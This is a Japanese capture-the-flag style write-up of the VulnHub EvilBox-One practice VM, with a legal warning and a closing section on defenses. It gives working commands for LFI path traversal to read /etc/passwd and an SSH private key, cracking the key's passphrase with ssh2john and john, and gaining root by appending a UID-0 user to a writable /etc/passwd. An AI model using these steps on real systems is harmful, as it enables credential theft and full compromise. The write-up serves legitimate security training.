EvilBox-One は VulnHub で公開されているペネトレーションテスト練習用の VM で、意図的に複数の脆弱性が連鎖するように設計されている。本実験では 情報収集 (nmap / Gobuster) → LFI 発見 (wfuzz) → SSH 秘密鍵奪取 → パスフレーズ解析 (ssh2john + rockyou) → ログイン → /etc/passwd の設定ミス悪用で root 奪取 までの完全な攻撃チェーンを再現する。「単一の脆弱性ではなく、複数のミスが連鎖して root に至る」という現代のペネトレーションテストの典型的な姿が、1 つの VM で凝縮された形で体験できる。
本実験は VulnHub の練習用 VM (意図的に脆弱に作られた合法的な練習環境) でのみ実施可能。同じ手法を 他人のサーバ / 公開サービスに撃った瞬間に犯罪 (日本: 不正アクセス禁止法 / 電子計算機損壊等業務妨害罪、米国: CFAA)。VirtualBox の「ホストオンリーアダプター」または「内部ネットワーク」で VM を隔離するのが安全。VulnHub のほかにも HackTheBox / TryHackMe / OffSec PEN-200 など合法な学習プラットフォームがある。
実験環境 #
| 項目 | 内容 |
|---|---|
| ホスト OS | Windows 11 |
| 攻撃者 (Attacker) | Kali Linux (VirtualBox) |
| ターゲット (Target) | EvilBox - One (VirtualBox) |
| ネットワーク | VirtualBox 内部ネットワーク (両 VM が 192.168.2.0/24 に参加) |
今回の流れは (1) 建物の周りを歩いて入口を探す (偵察) → (2) 鍵の弱い窓を見つけて入る (LFI 脆弱性悪用) → (3) 中で他の部屋の鍵を探す (SSH 秘密鍵入手) → (4) 鍵にかかっているパスワードを破る (パスフレーズ解析) → (5) 管理人室の権限ミスを突いて金庫を開ける (権限昇格)、という多段攻撃。1 つ 1 つの欠陥は致命的でなくても、連鎖した結果として最悪のシナリオ (root 奪取) が成立するのが現代のペネトレーションテストの典型。
実験 1: 情報収集 (偵察) #
ネットワーク上のターゲットを特定し、稼働中のサービスと公開されているディレクトリを調査する。
ターゲットの IP アドレスを取得 #
netdiscover を使用して、ローカルネットワーク内のホストを探索する。
sudo netdiscover -r 192.168.2.0/24
ターゲットの IP アドレスが 192.168.2.182 であることが分かった。

Nmap でポートスキャン #
ターゲット端末で開放されているポートと稼働中のサービスを調査する。
sudo nmap -sC -sV -p- -O 192.168.2.182
| オプション | 役割 |
|---|---|
-sC |
デフォルトのスクリプト (脆弱性スキャンなど) を実行 |
-sV |
ポートで稼働しているサービスのバージョン情報を取得 |
-p- |
全 65535 ポートをスキャン対象 |
-O |
OS のフィンガープリント (OS の種類を特定) を試みる |
調査の結果、SSH (ポート 22) と Apache Web サーバー (ポート 80) が稼働していることが分かった。

Web サーバーが稼働しているのでアクセスしてみると、Apache のデフォルトページが表示された。この時点では特に何の変哲もない。

Web サーバーの確認とディレクトリ探索 #
次に Gobuster を使って隠されたディレクトリやファイルを探索する。
sudo gobuster dir -u http://192.168.2.182 -w /usr/share/wordlists/dirb/common.txt -x html,txt,php
| オプション | 役割 |
|---|---|
-u |
対象の URL を指定 |
-w |
使用するワードリスト (辞書ファイル) を指定 |
-x |
探索するファイルの拡張子を指定 |
探索結果として、robots.txt と secret というディレクトリを見つけた。

robots.txt
robots.txt とはクローラーに対して、このサイトのどこを見ていいか・見ちゃいけないかを指示するための設定ファイル。検索エンジンのクローラー (Googlebot など) は、サイトに来るとまず robots.txt をチェックし、そこで指示されたルールに従ってクロールする。
robots.txt には 検索では見つけられない未知のディレクトリ情報などが記載されている場合があるので探索の際は意識する必要がある。
今回見つけた robots.txt を開いてみると「Hello H4x0r」と書かれているだけで、他には何もなかった。
secret ディレクトリの探索
sudo gobuster dir -u http://192.168.2.182/secret -w /usr/share/wordlists/dirb/common.txt -x html,txt,php
secret ディレクトリをさらに探索した結果、evil.php といういかにもなファイルを発見した。

実験 2: 脆弱性調査と侵入 (LFI) #
evil.php について考察 #
evil.php は evil という名前からして、他の攻撃者が仕掛けたバックドアなどの可能性を疑った。もしそうなら何らかの入力を待ち受けている (コマンド実行やファイル読み取りの) 可能性があると推測できる。
まずは、コマンドが実行できるのか試してみる。
現在のディレクトリの位置をおおよそ予測し、逆算して etc/id を指定する。例えば、もしこのファイルが Web サーバー上で /var/www/secret/evil.php という形で位置していた場合、/etc/id を指定するには ../../../etc/id となる。しかし確実にルートディレクトリに移行したいので、今回は ../../../../usr/bin/id とする。
http://192.168.2.182/secret/evil.php?cmd=../../../../usr/bin/id
このコマンドを実行してみたが、案の定何も表示されなかった。これは cmd の部分が本当に cmd であるとは限らないから。
WFUZZ によるパラメータの特定 #
そこで WFUZZ を使い、ファイル読み取り (LFI) が可能か、またそのパラメータ名が何かを総当たりで調査する。
wfuzz -u "http://192.168.2.182/secret/evil.php?FUZZ=../../../../usr/bin/id" -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --hw 0
| オプション | 役割 |
|---|---|
-u |
対象 URL。FUZZ の部分がワードリストの単語に置き換わる |
-w |
パラメータ名として試行するワードリスト |
--hw 0 |
レスポンスサイズが 0 (通常時) のものを非表示にし、反応があったものだけを表示 |
このコマンドを実行した結果 command というパラメータがヒットした。

LFI によるファイル読み取り #
特定した command パラメータを使用し、もう一度実行してみた。
http://192.168.2.182/secret/evil.php?command=../../../../usr/bin/id
しかし、結果として大量の文字が表示されただけで、コマンドの結果は表示されなかった。

一番上に表示された ELF という文字からして、これはバイナリファイルの中身が表示されただけで、id コマンドの実行結果が表示されたわけではないことが分かる。
しかし、指定したファイルの内容を表示できることはわかったので、次は攻撃者がよく狙う /etc/passwd ファイルの中身を見ることができるか確認してみる。
http://192.168.2.182/secret/evil.php?command=../../../../etc/passwd
その結果、/etc/passwd の内容が表示された。

ブラウザ上では見ずらいのでコマンドライン上で表示してみる。
curl "http://192.168.2.182/secret/evil.php?command=../../../../etc/passwd"

結果、/etc/passwd の内容が表示された。これにより、evil.php にはディレクトリトラバーサル (LFI) の脆弱性があることが確定した。
さらにファイルの内容から、ログイン可能なユーザーとして root と mowree が見つかった。
LFI (Local File Inclusion / ディレクトリトラバーサル) が成立したら、攻撃者の定石として 「SSH 秘密鍵を狙う」のが鉄板。/home/USER/.ssh/id_rsa が読めれば、たとえパスワードを知らなくても 「鍵 1 本で他人のアカウントになりすませる」。SSH サーバ (ポート 22) が動いていれば、これがそのまま侵入経路になる。
SSH 秘密鍵の窃取 #
ポートスキャンを実行した際に SSH サーバーが稼働していることが分かった。設定にもよるが、もしかしたらこの SSH が自身 (Web サーバー) からの接続を想定している可能性もある。
通常、サーバー (A) に置かれた秘密鍵は、別のサーバー (B) に接続するためのもの。しかし、攻撃対象の環境 (VulnHub の演習など) が 1 台のサーバーで完結している場合、開発者が SSH サーバーの動作確認などのために「自分自身への接続設定 (A から A へ)」を行い、その設定 (公開鍵) を authorized_keys に残したままにしている可能性もありえる。
もしそうであれば、SSH 認証に公開鍵認証を使用していた場合、その秘密鍵を入手でき、かつパスフレーズが設定されていなければ、秘密鍵だけでこのサーバーで稼働している SSH を経由して Web サーバーにアクセスできることになる。
LFI が可能であるため、mowree ユーザーの SSH 秘密鍵 id_rsa の読み取りを試みる。
curl "http://192.168.2.182/secret/evil.php?command=../../../../home/mowree/.ssh/id_rsa"
探索の結果、秘密鍵の取得に成功した。しかし、ファイル内に Proc-Type: 4,ENCRYPTED という記述があり、この秘密鍵がパスフレーズによって暗号化されていることが判明した。

John the Ripper によるパスフレーズ解析 #
暗号化された SSH 秘密鍵のパスフレーズを John the Ripper (john) で解析するには、まず鍵ファイルから john が読み取れる形式の「ハッシュ」を抽出する必要がある。これには ssh2john というツール (John the Ripper スイートに含まれている) を使用する。
# 見つけた秘密鍵をKaliにコピーします。
# 任意のディレクトリで、先ほど表示した秘密鍵の内容をコピペしてCtrl + D
cat > id_rsa
# 権限を付与 (Johnが読み取れるように)
chmod 600 id_rsa
# ハッシュ値を取得
ssh2john id_rsa > hash.txt
# ハッシュ値の解析 (rockyou.txt はパスワードリストの定番)
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
解析の結果、パスフレーズが 「unicorn」 であることが判明した。

SSH による侵入 #
窃取した秘密鍵 id_rsa と、特定したパスフレーズ unicorn を使用して、mowree ユーザーとして SSH ログインを試みる。
ssh mowree@192.168.2.182 -i id_rsa
パスフレーズの入力が求められ、unicorn と入力したところ、無事に mowree ユーザーとしてサーバーにログインできた。

実験 3: 権限昇格 #
サーバー内部の探索 #
侵入後、権限昇格の足掛かりとなる不適切な設定ファイルを探す。今回は以下のコマンドを用いて一般ユーザーでも書き込み可能なファイル (特に重要な設定ファイル) を検索する。
find / -writable -type f 2>/dev/null | grep -v "/proc/" | grep -v "/sys/"
| オプション | 役割 |
|---|---|
find / -writable -type f |
ルートディレクトリ / から、書き込み可能 (-writable) なファイル (-type f) を探す |
2>/dev/null |
エラーメッセージ (権限がないディレクトリなど) を非表示 |
grep -v ... |
仮想ファイルシステムである /proc/ と /sys/ を除外 |
コマンドの結果、驚くべきことに /etc/passwd ファイルが一般ユーザーである mowree によって書き込み可能であることが判明した。
/etc/passwd は 「OS 全体のユーザーアカウント定義ファイル」。ここに UID=0 (= root と同等) の新しいユーザーを書き込めば、その新ユーザーは root 権限を持つ。「書き込み可能」だけで権限昇格の道が開く、現代の Linux 設定としてはあり得ないレベルのミス。CTF / 練習 VM ではよく出題される典型パターン。
/etc/passwd の脆弱性を利用した権限昇格 #
/etc/passwd に書き込みが可能ということは、root 権限を持つ (ユーザー ID が 0 の) 新しいユーザーを任意に追加できることを意味する。この脆弱性を使わない手はない。
1. Kali 側でパスワードハッシュを生成
新しく追加するユーザーのパスワードのハッシュを openssl で作成する。
openssl passwd -1 1234
$1$pcjEZ3oo$JFf4MoykNgCwfhNSf9wSz0
2. ターゲットサーバーで /etc/passwd に追記
echo コマンドを使用し、生成したハッシュを持つ root 権限ユーザー (evilroot) を /etc/passwd に追記する。
echo 'evilroot:$1$pcjEZ3oo$JFf4MoykNgCwfhNSf9wSz0:0:0:root:/root:/bin/bash' >> /etc/passwd
cat /etc/passwd で確認すると、一番下に evilroot ユーザーが追加されていることが確認できる。

3. root 権限の奪取
su コマンドで、新しく作成した evilroot に切り替える。
su evilroot
Password: 1234
id コマンドの結果、uid=0(root) となり、root 権限の奪取に成功した。
これにより、/root ディレクトリに配置された最終的な flag ファイル (root.txt) を閲覧することが可能になった。

対策と考察 #
感想 #
今回のペネトレーションテストでは、単一の脆弱性ではなく、複数の異なる種類の脆弱性 (Web アプリケーションの LFI、弱いパスフレーズ、OS の不適切な権限設定) が連鎖することで、最終的に root 権限の奪取という最悪のシナリオに至るプロセスを実体験できた。
特に印象的だったのは、evil.php という怪しいファイルを発見した後、wfuzz を使って command というパラメータを特定する地道な探索が、/etc/passwd や SSH 秘密鍵の漏洩という重大な結果につながった点。
さらに、入手した秘密鍵がパスフレーズで暗号化 (ENCRYPTED) されていたため一度は壁にぶつかったが、ssh2john と rockyou.txt による解析であっさりと unicorn というパスフレーズが特定できてしまい、パスフレーズが弱いことの危険性を痛感した。
最後の決定打は、侵入後のサーバー探索で見つけた **「/etc/passwd が一般ユーザーで書き込み可能」**という、あり得ないほど脆弱な設定だった。これにより、苦労して手に入れた一般ユーザー権限から、いとも簡単に root 権限を持つユーザーを追加できてしまい、攻撃の容易さに驚くと同時に、設定ミスの恐ろしさを実感した。
考察 — 多層防御の重要性 #
今回の実験は、「セキュリティの連鎖 (Security Chain)」と「多層防御」の重要性を示す典型的な例だった。
1. LFI (ローカルファイルインクルージョン) の危険性
最初の侵入口となった evil.php の脆弱性は、ユーザーの入力を適切に検証 (サニタイズ) せずに、ファイルパスとして利用したことが原因。../../../../ のようなディレクトリトラバーサルを許した結果、本来アクセス不可能な /etc/passwd や .ssh/id_rsa が読み取られた。「ユーザーからの入力はすべて信頼しない」という原則が破られていた。
2. 弱いパスフレーズの無意味さ
SSH 秘密鍵はパスフレーズで暗号化されていたが、rockyou.txt のような一般的な辞書ファイルで解析できる unicorn という単語では、防御として機能していなかった。秘密鍵が漏洩した場合、パスフレーズは「最後の砦」。この砦が弱ければ、暗号化している意味がない。
3. OS の基本的な権限設定の不備 (最小権限の原則違反)
最大の脆弱性は、/etc/passwd が一般ユーザー (mowree) によって書き込み可能 (writable) になっていた点。これは 「最小権限の原則」を完全に無視した設定ミス。
対策のまとめ #
| 層 | 内容 |
|---|---|
| Web アプリ | ユーザ入力を絶対にファイルパスへ連結しない。realpath() + ホワイトリスト検証で LFI を遮断 |
| SSH 秘密鍵 | パスフレーズは 20 文字以上 / 単語の組み合わせを避ける / hardware key (YubiKey) で更に強化 |
| OS 権限 | find / -writable -type f を定期実行して書き込み可能ファイルを監査。/etc/passwd /etc/shadow /etc/sudoers の権限は厳密に |
| 侵入後の検知 | EDR (Linux なら Wazuh / osquery / Falco) で /etc/passwd への書き込みを監視 |
Web アプリケーション (LFI)、運用 (弱いパスフレーズ)、OS 基盤 (ファイル権限) という 異なるレイヤーでそれぞれ脆弱性が存在したために、今回の侵入は成功した。単一の対策に依存するのではなく、各レイヤーで適切なセキュリティ対策 (入力値の検証、強力なパスワードポリシーの強制、ファイルの権限の厳格な管理) を実施する「多層防御」が不可欠。「ちょっとした設定ミスがいくつ重なると root を奪われるか」を実体験するのが、CTF / VulnHub の最大の学習価値。
COMMENTS 0
まだコメントはありません。最初のコメントを投稿しよう。